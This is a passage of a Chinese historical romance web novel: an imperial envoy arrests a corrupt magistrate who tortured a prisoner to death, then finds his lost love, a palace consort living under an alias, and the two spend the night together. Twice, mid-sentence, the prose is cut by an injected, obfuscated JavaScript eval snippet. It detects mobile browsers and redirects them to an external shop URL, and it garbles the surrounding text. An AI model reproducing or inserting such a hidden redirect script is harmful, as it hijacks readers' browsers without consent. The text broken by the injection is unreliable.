冯矩反问道:“你怎么敢一个人在这儿的。” “怎么了?” “你不知道吗?” 他故意拖长尾音,见双螺髻果然上钩,滚圆的眼睛看了过来,微微一笑:“你道这院子为何荒着。败塘阴气重,容易吸引鬼魂。曾经有人夜过,看见月光下,每片枯叶上都映照出一个模糊扭曲的人影,仿佛是从淤泥里挣扎欲出的亡魂,一惊之后再定睛看,又只是寻常残叶了。” 双螺髻脸色一白,又应激地站了起来。 少年城府尚浅,实在没忍住,笑出了声。 她终于反应过来:“你故意的!” 他含笑认错,仍然大方,仿佛方才那戏耍陌生少女的纨绔行径与他无关:“是。是在下不对,方才说的是我编的,你别怕了。” “你!” 这时,乔翀急冲冲地出现,怀里抱着一只脏兮兮的雪狸,一进来便大喊找着了,等看到院中不止冯矩一人,蓦的睁大眼睛,目光在气氛古怪的二人中间转来转去,惊疑不定:“你,你们……” “登徒子!”双螺髻恶狠狠地瞪了冯矩一眼,跑了出去。 乔四郎的眼神顿时变了,也恶狠狠地看向他:“冯子规!你做什么了?” “我没做什么,就是说了几句话。” “你知道那是谁吗?那可是我刚接回来的五妹妹,要定给你做未婚妻的,你怎么……你别是看人长得漂亮,就凑过去了罢!你怎么这么孟浪!”乔四郎快气炸了。 “我知道,就因为知道,所以才说了两句,”冯子规举手发誓,“我就是有点好奇,没做什么唐突的事。换成是你你不好奇吗,天上突然掉下个未婚妻,难得有机会见一面,你就不好奇她是个什么样的人吗?” 他了解乔四郎,果然,乔四郎顺着他的话代入了一下,气顿时消了。 “那行吧,既然知道了,以后可注意点。我这妹妹虽在外面长大,但既然认祖归宗了,就是我乔家小娘子,你可不能不敬她。” “知道了。” 一面过后,少女尖尖的两只发髻仿佛猫抓留痕,在冯二郎君的心里留下似痒非痒的痕迹。 过了两天,冯夫人去乔府相看,冯矩随行,与冯夫人共乘一车。在路上,他便状似无意地道:“祖父知道今日要去相看,昨夜特地召我,跟儿子说了句话:君子立身于世,守信如山,失信如泥。娘……” 话没说完,就被冯夫人打断了:“臭小子还教训起为娘了。怎么了,这是生怕那五娘子入不得为娘的眼,这就开始替媳妇说话了?”知子莫若母,冯夫人越想越狐疑,“你和那乔三乔四每日同进同出,常去乔府讨教功课,是否早见过乔五娘了?” 冯矩连连拱手,脸不红心不跳:“儿子规矩还是有的,素来只在外院出入,如何见得女眷。母亲这话可别在外头说,儿子失些名声事小,乔五娘本就艰难,再失名声,怕是难做。” 拜见过乔老夫人,也不知是不是路上说的话起了反作用,冯夫人连一面都不让他看,一叠声地催他去外院。他出了门,故意拖慢脚步,停在院中回头一看,看到个半大少女自屏风后走出,对襟比甲云肩琵琶袖,梳了个牡丹髻。 分明是一样的端庄扮相,乔五娘就是和京中少女不同,她身形板直,脖子僵硬,一看就是短时间内凹出的闺秀,看得冯夫人直皱眉头。 乔家势微,冯家却自冯忱升任首甫后风光无两,乔家腆着脸也要认下这门口头婚约。只恨没有适龄娘子,无奈将这野狐乡出生的认回来。 冯矩看得出,若非涵养在身,他娘亲恨不得立即冲回家,逼老太爷亲口悔婚。 到了外院书房,照旧和乔三乔四论了片刻制艺,乔四粗中有细,早看出冯矩心不在焉。及至将晚,乔三回去大房的东宅,乔四憋了一天,迫不及待地问起原因。 冯矩犹豫再三,反问道:“你和,你五妹妹关系如何?” 果然是为了五娘,好个冯二郎,你也有今天。 乔四十分自信:“自是不错。” 冯矩从袖子里掏出个小木盒,也不知捂了多久,恳切万分:“能不能劳驾,将这个捎给她。” “你这是做什么,可不许私相授受啊。要是被我娘逮到了,她可得揍我一顿。” 乔四嘴上说着不行,手上已经把木盒接了过去,大咧咧地打开,只见里面装着个没见过的西洋玩意,细细长长的筒状,黄铜所制,一手可握。 “这是什么?” 冯矩还指望他教别人玩,自然尽心尽力地介绍:“西洋人带来的,叫做‘万花筒’,只需从这里看……转动筒身……” “嚯,京中还没见过,这可真是新鲜货。” 乔四目不暇接,赞不绝口,完事把万花筒往自己袖子里一收,半句不提是否会送给乔五娘。 冯矩道:“圣上赏的。” 乔四手一哆嗦,颤巍巍地去掏袖子。 冯矩一笑,露出一口白牙,:“给五娘便还算留在冯家,圣上不会怪罪。” 今日相见,也不知母亲是否会为难那小姑娘。她初来乍到,处处艰难,否则也不会独自躲在无人处拨枯叶。 只望这西洋玩意能让她开心点。 冯钦差一手支头,猛地醒来,一时辨不清今夕何夕。 都怪那支曲儿太过黯然销魂,应了心境,不过打了个盹,竟又梦到她了。 支着头的手轻轻一动,捂上眼睛,这样一动不动好一会,才直起身,往窗外看了眼。只见天边泛白,于是钦差大人略微拾掇了下衣襟,施施然回了衙门。 在后院屋外恰好遇到章承。 章县令衣冠楚楚,瞧见他穿着昨日衣衫,衣襟上还沾着香粉,不由心照不宣地一笑,万分周全地说道:“天使好雅兴,换洗衣衫已经命人放在您的房间里,热水后厨也备着,您回去着人吩咐一声便是。” 冯矩含笑谢过,回到房间,关好门,在屏风上敲了敲,秋淼佩刀走了出来。 “天使好雅兴。”秋淼捏着嗓子学章承。 冯矩面不改色:“还得多谢三水先生昨夜给我留了个娇客,一夜好梦做全,确实尽兴。” 秋淼“啧”了声,在桌边坐下。 趁他狗嘴里吐象牙之前,冯矩将话拐回正题:“你什么时候来的,没惊动旁人吧?若是被章承看到我和锦衣卫来往,就要打草惊蛇了。” “昨夜就来了,在你这屋子囫囵歇了一宿。你别说,章承还真把你这‘天家来使’当回事,这屋子里尽是些金绡软帐的好东西,我也是一夜好梦啊。” 冯矩微笑:“三水先生睡得好便好。” 秋淼摸了摸胳膊上的鸡皮疙瘩,难得正经起来:“你昨夜说的案子是什么?” 冯矩喝酒从不断片,续上昨夜的思路,将黄家血案简单叙述了一遍。这个案子其实很好查,那天街上目睹之人数不胜数,来的路上,冯矩已经找人问过,众口一词,都说是武子邱犯事,与捕快黄胜的说辞一致。 秋淼便问:“这案子说大不大,说小也不小,毕竟是命案。但是要怎么抓章承的把柄?我们现在去验尸?还是去搜集证人?” “何须舍近求远。” “什么意思?跟我们这些粗人能不能说人话。” “你带了多少人来?” “我如今也是个堂堂百户,手下百十名弟兄。虽没有都带来,但现在可以调用的也有二十来名。” “够了。” 冯矩整衣正冠,取出藏在腰带后面的御赐金牌,朝北直隶的方向拱手行礼。 “我乃钦差大臣,必要时可代上便宜行事。” 秋淼泥腿子出身,没读过书没考过举,有幸在山里泥石流爆发时救过一任锦衣卫千户的命,走了狗屎运才入得权贵云集的锦衣卫。到底是他眼界短,没有握过权势,所以不懂,真正的官场如战场,根本不讲什么证据,唯有掌握真正话语权之人,可以解释“真相”。 如这次的黄家命案。如四年前的冯家血案。 …… “早啊薛先生。” “唐阿婆早。老样子,给我来两个灌饼。您又一大早出来摆摊啊,外孙风寒可好些了?哎哟,这几年的冬天冻死个人,还是靠着您这炉子暖和点。” 天色蒙蒙亮。头发花白的唐阿婆动作老练地掀开厚棉布,棉布乃用碎布头缝合而成,虽旧却洗得干净。老人家从下面取出两个包扎完好的油纸包。 “您的饼,早做好了,就等着薛先生您嘞。” 对面的中年男人接过油纸包。 这位薛先生乃是赣榆县县衙的师爷,留着一把黑色长须,头上顶着黑色笠帽,帽绳系在下巴处,里头穿着一件靛色圆领袍,外面套着灰色大氅,裹得分外严实,也难掩文雅的书生气。 没有听到关心的答案,薛师爷又问了一遍:“您外孙的风寒怎么样了?” 唐阿婆感激地搓了搓手:“托您的福,我家小宝儿病情好歹是稳住了,您上次借的一吊钱,可真是救了我们家大命了,老婆子我会尽快凑上还您的,今儿这饼,就送您了。” “您这话严重啦,就像我故意图您感恩戴德似的,可别折煞我了。谁家没个困难的时候,邻里乡亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“都孝敬了罢。我看那钦差也是个败絮其中的,”话音刚落,章承便觉自己这“也”字用得不好,好像连自己都骂了进去,不由清了清嗓子,“舍不得孩子套不住狼,为长久计,这一小罐茶叶算不得什么。” “大人远见。” 说着,二人为表尊重,起身去门口接见钦差。 县衙前院有三进,他们如今就在最后一进的花厅。却只见那钦差走到天井中央就停住了,负手抬头,望着天,也不知在看什么。 章承顺着他目光也抬头,只能看到灰白的天空。自两年前那场大雪后,大齐全境降温,江北的冬天格外阴冷,天永远是灰色的,好像风雪欲起,又因一念仁慈而久积不落。 这样的天别说鸟儿,连只虫子都看不到。 钦差不来,只好他们去就钦差。 章承迈过地袱,下了三层踏跺,毫无知觉地往前走去。 离钦差约两步远时,他站定行礼,笑呵呵地称道:“天使安好。” 冯矩素来礼仪周全,回敬微笑,举起手中一个金灿灿的令牌,说道:“拿下。” 说时迟,那时快,前院瞬间突出两队锦衣卫,虽然穿着平常,但一手绣春刀可谓标配,将狼与狈团团围住。 章承肝胆俱颤,还没明白发生了什么,电光火石间却是明白了一件事——锦衣卫光明正大从前院来,怕是这钦差已经以雷霆手段,把衙役们制服了。 “冯,冯天使,这,这是何意啊……下官不说宵衣旰食为生民立命,也称得上尽职尽责,兢兢业业。不知下官犯了什么事,何至于此啊!” 秋淼最烦这些满口冠冕堂皇的文官,一个个别的没有,就嘴皮子利索,听得耳朵疼,把刀又往前送了一寸。 “停停停,官爷,刀枪无眼!在下错了,有什么事,还请二位大人指点个明白。” 章承两股战战,能屈能伸。 “便叫你明白!”冯矩道,“两日前,黄家庄父子三人于夜集摆摊,恰逢您的侄儿武子邱路过,酒醉闹事,还要将黄女掳回府上。她二哥护妹心切,推了武子邱一把,恰好武子邱因酒醉下盘无力,倒地,撞到了脑袋,命丧于此。” 章承忙道:“天使明鉴,不论有意无意,那黄二都犯了命案,下官命人将其捉拿归案待审,何错有之。” “待审?”冯矩冷笑,“县尊为替侄儿报仇,当夜便将黄二活活折磨死。不说《大齐律》规定,过失杀人者可依罪赎免,哪怕黄二当真犯了十恶不赦的死罪,都要上禀提刑按察司审录,无冤,依律议拟,转达刑部,待圣上勾决,秋后问斩。县尊设私刑判案,不知是依的哪门子律法?还是说把自己当成这一县的皇帝了!” 最后那句话可谓诛心,章承万万不敢接这顶帽子,只是如今形势逼人,求援无门,他只能一口咬定是黄二畏罪自杀,只盼着上司能早点察觉不对,救他一命。 他早已是这淮地绳上的一只蚂蚱,与大人物休戚相关,未必真至绝路。 冯矩懒得听他分辨,“来日自会将人证物证呈到阁下面前。带下去,自今日起,这县衙便由本官代管,一应衙役按命行事。” 秋淼分出四名锦衣卫,把两个案犯的嘴堵上,命人暂时关到县牢里。 冯矩来到花厅,茶香扑鼻,他早在天井中便闻见了。 祁门红茶,产于南直隶徽州府。虽不是贡茶,但在民间也炒到了一两千金。 茶水仍滚沸,喝茶之人已经天翻地覆了,前一刻自以为运筹帷幄,一眨眼便滚下高台,沦为阶下囚。 “你在想什么?” “世事恒长,不以人换,不以物移。” 冯矩回过神,在太师椅坐下。秋淼不客气地在另一边坐下,摸摸扶手,开开茶罐:“又不说人话了,嘶——好家伙,这得有多少两?” 冯矩探头去看,只见满满一罐,尽装了金豆子。 南直隶。好一个南直隶。 王朝穷途末路,油尽灯枯。有人求生无门,嚎啕暗室。有人力挽狂澜,执炬前行。 有人专事聚敛,黩货贿为己任。 48. 重逢 “钦差大老爷,喜娘这丫头我给您带来了。”黄胜大嗓门,隔老远便喊出声。 冯矩起身来到花厅门口,看到瘦小的女孩儿偎在黄胜魁梧的身形边上,更显得伶仃可怜。 他先看向黄喜娘的手,那双皮开肉绽的手已经包扎好了,也不知以后会不会留下毛病。 黄胜领着着本家侄女走到冯矩跟前,扑通就跪下了。黄喜娘一呆,慌忙跟着跪下。 “这是做什么?起来吧。” “我不起!”黄胜堂堂九尺男儿,眼泪说来就来,“大人,您可真是青天大老爷,要不是有您,我这侄女儿和她爹人可都没了。您是救命恩人,她爹爬不起来,我代他给您磕几个。” 说完,就砰砰砰连磕三声。 可怜黄喜娘,远跟不上这出了三服的表叔的思路,手足无措地跟着磕了下去。 冯矩连忙蹲下身托住她。 “好了,起来吧,别把孩子手压到了。” 黄胜豪迈道:“大人说得对,侄女儿你别磕了,我替你磕。” 说完,又砰砰砰磕了三声。冯矩尚蹲着,忍不住就近观察他的额头,发现只有一点红印,不由心里赞一声真是铁头。 喜娘认得这位钦差,还曾将其当成登徒子,见人摇身一变成了触不可及的大人,还救了她一命,心里十分愧疚,于是说道:“多谢大人救我和爹,大人如有吩咐,喜娘什么都愿意帮您做。” “好孩子,你受苦了,回家后好好歇一歇。先起来吧。” 冯钦差连说了三回“起来”,才总算把人唤起来,他把人领到花厅坐下,说道:“喜娘,我确实有想问你的事。” “大人请讲。” “那天夜里,你分明有个‘姐姐’,怎么不见其人?” 虽然不明白大人为何执着于这个,喜娘还是乖乖答道:“那其实不是我亲姐姐,是村里的寡妇。只是我二哥对她有意,我不想乱了辈分,才叫她姐姐。” “她多大年岁?” “姐姐没说过,但是应当不大,看起来比十九岁的棠花姐还年轻,但二哥说起过,她不止十九了,那就二十岁许吧?”黄喜娘不确定地道。 黄胜在一旁听着,只觉两眼一黑,自己这机灵的侄女儿怎么说了跟没说一样。 幸好钦差大人并不介意。 钦差似乎沉思了片刻,才续问道:“她可曾说过,姓甚名谁?” 黄喜娘目光又变得狐疑且警惕,胆大包天道:“敢问大人,我阿姐是不是犯了什么事,您为何追着问?” 黄胜两眼一黑又是一黑,忙替侄女找补:“回大人,我知道她说的‘姐姐’,这位夫人乃九月底被村民从河里所救,自言姓‘高’,无亲无友,我爹看她老实又可怜,加上村里有空屋子,就留她住下了。” 三两句就给抖了个干净。 钦差听完,脸上血色似乎少了些许,又陷入了沉思,好片刻才淡淡道:“外来流民,想来无路引无凭证,你们留她之前,可曾来县衙做过登记?” 黄胜:“……” 怎么听着,口风不对劲了。 黄胜脑子还没捋清楚钦差是个什么意思,直觉已经让他扑通又跪下了。 “大人,草民错了,这就去拿人前来登记个清楚。” 冯矩:“……罢了。” “她自言姓高,可曾说过她……”一顿,冯矩很轻地问,“故去的夫君姓甚名谁?” 这个问题,实在有点不知所谓了。 旁听的秋淼都忍不住侧头看了冯矩一眼。 黄胜没听过这么私密的问题,杵了侄女儿一肘子。 黄喜娘有气无力地道:“姓马,叫马双水。” 哐当—— 钦差像是被椅子烫到了,倏地起身,动作之猛,乃至失手拂落了一只茶盏。 秋淼跟着站起身:“怎么了?!” 只见冯矩面色刷白,好不容易眼神聚焦,喃喃道:“无事,我无事。” 秋淼锦衣卫出身,何其敏锐,瞬息之间,已经把很多信息凑到了一起:九月,海州,救起,寡女……还有冯矩的态度。他想到了一个人。 着人将黄胜和黄喜娘请了出去,冯矩突然躬身,向秋淼行了个大礼。 不等他开口,秋淼便懒洋洋地道:“这是怎么了,我可受不得啊冯大人。为案件计,您不过出于谨慎多问了些话,怎么突然就给我行这般大礼了。在下奉命跟随您,只是为了查清淮盐案,这些杂七杂八的小案子你可别想劳动我。” 冯矩心头一暖:“多谢。” “我不帮忙,你还谢上了,稀奇,真稀奇。说回正事,圣上封你为钦差,从南地北上,为的就是出其不意,能掩藏行踪,暗中行事,如今您老人家直接捅破了天,这样大摇大摆,却只拿了个小小县令,您要怎么交代?” “我们在明处吸引目光,自有束阳他们在暗处盯着,淮地的这片湖面太平了,慢慢查太过被动,唯有反客为主,先搅浑湖水,看是哪条潜蛟先着急出头。” 束阳假死脱身后,就由明转暗,可是最出乎意料的一手棋,淮党怎么也不能想到,还有“死人”查案。 “你有章程我就放心了,能不能给我腾个屋子,昨晚没睡好,我要补个觉。”秋淼摆摆手,吊儿郎当地走出大门,猛吸一口冬日寒气,伸了个动作夸张的懒腰。 黄家庄。 乔燕等了一宿消息,辗转难眠,翌日果然眼下发青,头昏脑涨,但心里的焦急盖过了一切,她是无论如何睡不着的,只能拿着绣棚坐到廊下。 火盆没有生火,北风刺骨砭人。她捏着绣针,没一会手就冻得通红,几乎快失去知觉,于是一针扎错,指尖冒出粒鲜红的血珠子。 转眼冻成血粒子,一搓就掉了。 她呆呆地看向指尖,又看绣棚,已经忘了自己要绣什么图案——或者本来就没想绣什么图案,她只是太慌张了,给自己找个事做。 这绣棚是喜娘帮她扎的,绣线是上回托黄二买的。 她还记得,那个年轻男人不似黄氏族人,长了个少有的大块头,皮肤黝黑,五官俊朗。那天站在她门前,低着头,脸上写满茫然:“……不是这个颜色吗,我看着都是桃红呀。对不住啊,我不太会挑颜色,下次让喜娘给您挑。” 喜娘在她屋子里吃茶,也不知什么时候钻了出来,探出半个脑袋,十分的恨铁不成钢:“你可真是笨呐二哥!” 转脸看向她,眼珠子一转:“我二哥不会挑,我怕也挑不出婶婶您中意的,下回您跟他一起去吧。” 在乔燕的眼里,他们简单得宛如白纸,什么事情都写在了脸上。 他们是生机勃勃劲草,生于泥土,长于风霜,在大齐贫瘠的土地上,挣扎着抽穗。他们总用一种小心翼翼的仰慕的眼神看她,仿佛在看一朵不经风雨的富贵花。 扎根于大地的野草们,指着富贵花说:看呐,她多漂亮啊。 而富贵花低头看他们,平视着他们,仰头看他们,看到了他们的可怜与可贵。 他们的可怜,在于命运给予的太少;他们的可贵,在于他们却以这“太少”为养分,活出了最蓬勃的生命。 如今野草就将凋零。 可是富贵花既不能呼风,也不能唤雨,她离开了漂亮的花房,就一无是处。 这一瞬间,没顶的压抑扑顶而来,乔燕回屋抓起宝玺,转身拉开院门。 乔燕僵在原地。 下一刻,她忍不住往后退了一步。 一个男人越过了门槛。她又退了一步,男人彻底进了院子,反手关上了大门。 也不知过了多久,乔燕才找到自己的声音:“你,你怎么会来这里……”她忽然反应过来:“喜娘呢?她怎么样了?” “你放心,”男人垂眸看着她,一瞬不瞬地看着她,眸色幽深,脸上没做什么表情,“她大惊一场,病倒了,她爹也是,我把他们安置在衙门里了。” 语调也一如既往地平缓清晰。 “那就好,那衙门……”乔燕下意识顺着他的话说道,“现在是归你管了?” 冯矩忽然退后半步,俯首垂睫不再看她——乔燕心里一寒,这是他从前常做的小动作,以分尊卑。 果然,他开口便换了称呼:“娘娘不是想问,微臣为何会在这里吗。臣问黄喜娘,前夜与她同游的‘姐姐’何在,她便答,乃是同村的孀妇高氏。可能因为臣心里一直想念着娘娘您,臣立马就想到,‘高’通‘乔’,这会不会是娘娘的化名呢……臣又问,高氏的亡夫谓何,您猜她说什么?” 说到“想念”二字的时候,冯矩着意放慢了语速,咬字清晰。说到最后,一顿,忽而轻笑了一下。 乔燕:“……” 他是不是疯了! 冯矩突然以卑下之姿,说欺上之言,乔燕听得目瞪口呆,心惊肉跳,从未有过的惶恐攫住了她。 乔燕不作声,冯矩也浑然不在意,慢声道:“她说,高氏亡夫姓马,名双水……娘娘,您这名字取得是不是太敷衍了,这是在说微臣吗?若是日后让旁人知到,臣该如何是好?臣明明什么都没做,却还要替您背骂名……” 乔燕战战兢兢:“你,你正常点说话。” 冯矩莞尔,背过身去,调息两三次,语气终于恢复如常:“前夜分明相遇,为何不愿认我?” 很奇异的,这句话就像一个锥子,轻易刺破了乔燕心底蒙尘的平镜。 “我凭什么要认你,”乔燕喃喃反问,“你算什么?你从前待我,不都退避三舍,谨守纲常么。三年前,我豁出脸去求今上放我与你会最后一面,你是怎么待我的?你明知那也许是我们最后一面……我脸皮都不要了,换来了什么……我看你心中无我,我又何必把你放在心上!” 冯矩静默片刻,仍娓娓道:“知情人都以为你不在了,不过是圣上压着不肯宣丧,我也以为你……你若想假死脱身,我可以帮你,只要知道你还好好的,让我放心……” 乔燕委屈得无以复加,又恨又怨,情绪如洪,溃堤万里,难以自抑地吼道:“谁要你放心!你什么都不说,谁知道你要放心!” “五娘……” “滚!” “我能说什么!” 冯矩猛地回身,一把攥住她手腕,乔燕一呆,继而挣扎。而他将她两只手都握住,转身压在门上。 咫尺之距,呼吸相闻,乔燕呆住了,心砰砰直跳,满腔怨气烟消云散——他的眼竟是红了。 “你要我说什么?!如果说了便可心想事成,四年前,我就想让你不要入宫!可是说了就有用吗!风雨之中,命不由人。是我无能,护不住家族,更护不得心上人,命运推你我至此,我想认命,可是我的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116331|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不听我的……它日夜跳动,默默思念,我又想,那就这样念着吧,总也不会耽误到你,我望你不要念着我,这样的思念,实在太痛苦……可是,它还想见你,见你是奢求,更是折磨,我无话可说,无人能说……” 君亲师长时常念叨:男儿当有鸿鹄之志,不能囿于情爱之困。 可这小情小爱啊,一旦埋下种子,见风就长,横冲直撞。 圣人之言规训他三纲五常,一规一矩都有衡量。 可从来没有书教过他,若心里生了妄想,要如何自洽。 束阳离开崖州的半年后,冯矩就接到了锦衣卫亲自南下带去的密旨,起复他为天子钦差,巡察南直隶不正之风。 圣旨语义含糊,锦衣卫口述了真正的旨意:“南直隶贪腐成性,淮党自成铁桶,阴奉阳违,处处掣肘。圣上要您秘密潜入南直隶,想办法在这铁桶上撬出个豁口。” 钦差身份看似风光,但此行却是冲着要命去的。 朝中无人可用,皇帝便想到了冯矩,这个断头差事料他不会拒绝,且会比任何人更用心——冯家尚有血海深仇埋在淮地。于公于私,为国为家,他都是最合适的刀。 冯矩最后看了眼住了两年的小屋,只带走了编到一半的《农经注》,在一个深夜,悄无声息地辞别了渔村。 一路披星戴月,不知跑死了多少马,他们总算在年前赶到了南直隶。这四个月里,圣上也没有闲着,已经派出人开始调查,翻过南岭后,朝中密信就不断送到冯矩手中。 他得知圣上和前锦衣卫指挥使稽川故意演了场君臣不睦的戏,削了稽川官职。得知稽川护着亳王母子就藩,却在途中打草惊蛇。密信写到,打草惊蛇后,稽川一面将那份只有末流官员的名单呈到御案,一面以迅雷不及掩耳之势控制了几个富商,摸藤顺瓜,颇有进展。冯矩为他这份敏锐的应对折服。 密信如雪花般飞来,每日一封,偶尔字里行间流露出她的行踪,他往往能盯着那短短一行字出神许久。去日苦多,这竟是支离天地的年岁里,少有的乐趣。 她动身南下。她到了徐州。她歇在彭城驿站……事发,她和亳王仓皇出逃,了无音讯。 那天走着水路,船靠岸补给,他捏着信纸,面无血色,同行的锦衣卫也为了亳王失踪而着急,没有注意他的异常,反而一个劲的催他:“冯大人,稽世子他们打草惊蛇,我们的时间不多了,恐怕要更赶一点……” 听了他的话后,冯大人回过了神,有条不紊地用火折子烧去密信,说道:“北上逆水而行,不如走陆路,日夜兼程快一些。” 这位冯大人年纪尚轻,但行事稳重,此刻见他从容如旧,锦衣卫便有如找到了主心骨,定下心神。 火信一股脑卷走纸片,不慎舔到冯矩的手指,他猛地回神,把手负于身后,没教人看见。 又过了一个多个月,锦衣卫兴高采烈地带来好消息:“冯大人,弟兄们传信,亳王一行没有出事,就藩的车队是空壳子,他们实际绕行去了山东,山东藩司已接到人,秘密送其北上回京。” 没事就好……没事就好。 数十日难眠,他已经有些虚弱,不过强撑着罢了,此刻听到好消息,不由自锦衣卫手里接过字条。 上书两行:束长史假死脱困。亳王秘至山东,欲归京。 他展露微笑,岂料这时,竟又有一只信鸟在天上盘旋。 难道还有什么事忘了写?锦衣卫吹哨接鸟,取下字条,扫了一眼,神情轻松地递给冯矩,说道:“说是少了个太妃,不可张扬,要我们回程的时候留意一下。” 这什么太妃,连个名讳和画像都没有,要怎么找?锦衣卫一看就知,此乃同僚出于命令,佯传密信,并不上心——后宫女眷罢了,于大局无关,不足挂齿。 冯矩平静地接过,看了一眼就攥进了掌心,收进宽袖里,语气如常:“知道了。诸位若歇息好了,我们便动身吧。” 说完,他先站了起来,走了两步,忽然一晃,直直地倒了下去。 他的这一生,空有兰因,此后多歧路。每当他以为自己已经空无一物时,命运总能嘲笑着再给他当头一棒。 乔燕恨他,为何不能付诸心事。若能开口,他倒是真想问问老天:何以如此薄我? 手里紧握的手腕又似挣了一下,冯矩猛地回神,凝望着身前人,喃喃:“老天终于听到了……” “什么?”乔燕呆呆地问。 冯矩没有回答,低下头,吻住了她。没有试探,没有犹疑,好像这一吻早已经过了深思熟虑,是他的最渴求最不可求,是他的最妄念最不忘念。 如此绝望又热切。 乔燕浑身一震,很快闭上眼,放任自己沉沦下去。 唇齿交融,攻城略地,她深陷在他给予的狂风骤雨里,四肢发软,几乎喘不过气。她好像感受了什么,泪水难以自制地涌出眼眶。 他终于停了下来,长长地叹息:“你哭什么?” 她抽泣着,哽咽着,打着哭嗝,愈发喘不过气。 他捧着她的脸,轻声妥协:“你想要我说什么?你现在问,我把心刨给你。” 乔燕自哭泣中挤出破碎的话语:“我想要……你……” 她以为他会拒绝,至少会迟疑片刻,可是没有,她的话音一落,他便一言不发地抱起了她,大步走进了屋子。 49. 温存 天色熹微。 一只黑白相间的大猫自树梢轻盈一跃,落在茅草屋顶上,将叼着的半只鸟儿扔下,嘴边还占着根羽毛。它在屋脊上趴下,一边享受清晨的第一缕阳光,一边餍足地舔着爪。 又有一只黄色猫儿紧随其后,尾巴尖儿微勾,俯身围着黑白猫儿蹭了一圈,依偎着趴下,就着半只鸟儿大快朵颐。 黑白猫儿半眯着眼注视着它,时而警觉地抬头张望。忽然,它不知察觉了什么动静,猛地起身,飞快地跑走了。黄猫叼起食物,十分信任地追随而去。 两只大猫在屋脊上跑过,将横梁的陈年灰尘震落些许,在晨光里明明灭灭,勾勒出床边男人线条紧实的背影。 男人皮肤色深,背后纵横交错着无数条浅色的疤痕。流畅的肌肉线条自肩胛蜿蜒而下,收成一束瘦劲的腰,头发披散着拢在一侧身前,随着展臂取衣而复又滑落身后。 “嗯……” 被窝里伸出一只脂玉般的胳膊,伸了个懒腰,顿了片刻,手臂的主人似是反应过来,四指勾住被子,往下轻压半寸,露出如云般堆砌的乌发,还有一双滴溜溜的杏眼。 她目不转睛地欣赏了片刻男人的背脊。男人已经捞过中衣套上胳膊,她忽然伸出手,按住了脊骨。 男人动作一顿,衣服搭在两臂下,任由她一寸寸而下,眼见到了尾椎处,才回手一握,止住了她作乱的手。 “五娘……” 因这番动作,他微侧过头,头发像缎子一样滑过颈窝,遮住了半张脸,在昏暗的光线下看不见表情。 乔燕眨了眨眼,盯着那绺头发滑过的轨迹,一下子就回忆起昨夜他揽紧她时,她的下巴就搁在那里。喘息声响在他的胸腔里,在她的耳边、头顶…… 见她不再作乱,冯矩重新开始穿衣,刚系好中衣的带子,一对胳膊忽而自身后绕过,环住了他的腰,头靠在他的背上。 他敏锐地察觉到,她情绪似乎有些不对。 他按住交握在身前的柔荑,安抚地轻轻拍了拍:“怎么了?” 身后的人不吱声。 冯矩转过半个身子,一只腿弯着搭在床沿,将她捞进怀里,用被子裹好,又轻声问了遍:“不舒服吗?” 乔燕枕在他臂弯里,往被子里缩了缩,仍旧只露出一双杏眼,楚楚可怜,小心翼翼:“昨夜,我看出来你想回的,是我……我趁你理智崩盘,勾着你与我云雨……你后不后悔……” 冯矩一瞬间回忆起昨夜种种,喉结滑动,一把捂住她的眼睛,嗓子有些干:“腿长在我身上,要去哪,做什么,皆是我心甘情愿。” 乔燕嘴角翘了翘,扒开他的手,一瞬不瞬地望了片刻,冷不防道:“你黑了。” 冯矩微怔,迟疑道:“崖州的白昼很长,许是晒得久了……很丑吗?” “不丑,我很喜欢,”乔燕都被裹成了这样,手仍不老实,顽强地从被子里钻了出来,轻飘地点过他胳膊上的肌肉,“力气也大了很多……这两年是不是很苦……” 他不假思索:“不苦。” “真的吗?” 起初是不苦的。 那时候的他跌落进人生的低谷,陷入了一种无根的虚无,他有很长一段时间感受不到情绪。一块石头会苦吗? 身若浮沤,欢也零星,悲也零星。 后来,日出而作,日入而息,夜里常常还要点灯读书,苦研各种农学知识。他把自己变成了一个踏实又忙碌的渔村农人,刻意将时间塞得很满,这样就不会去想北直隶的事。从前的一切离他那样遥远,远得像一场梦,那些仇恨的,无力的,绝望的,撕裂的,统统被塞进了梦的尽头,每日精疲力尽地躺在木板床上,他才能感受到自己还“存在”。 永夜无期,心狱难出,他本已做好就此湮灭的打算。 直到第二年春,他扛着锄头走在田地里,头顶上忽然划过了什么,他心有所感,抬起头,看到了两只嬉戏的早燕。 燕燕于飞,差池其羽,远飞于野,瞻望弗及。 那一瞬间,仿佛有根针刺破泡沫,尖锐的情绪突破隔膜,汹涌而归。他缓缓地抬起手,捂住胸口,后知后觉地想:原来这才是活着。原来活着本身就是痛苦的,人生八苦,从来难以涅槃,否则岂不成了佛陀? 回忆至此,冯矩道:“每想到你,就不觉苦了。” “你……”乔燕瞪他。 那双圆溜溜的杏眼,又让冯矩想起初见时的双螺髻少女。深宫将她塑成无悲无喜的莲台神女,唯有此刻,方流露出金身下的贪嗔痴乐,如此鲜活,仿佛时光从未逝去。 冯矩心中升起怜惜,又从这怜惜里品出些苦意。他柔声问:“怎么了?” “冯二郎好生动听的嘴,这些年没少锤炼吧,”乔燕眼睛往下一撇,哼哼道,“就是不知,这些话辗转过多少女子之耳。” “冤枉啊,欲加之罪,冯某跳下黄泉也洗不清。” 乔燕窝在他怀里,定定地凝望着他:“这两年,有没有女子向你求爱?有没有媒人给你说亲?” 冯矩面不改色:“没有。” 她却看起来很难过:“那你这两年,无亲无伴,要怎么过来……” 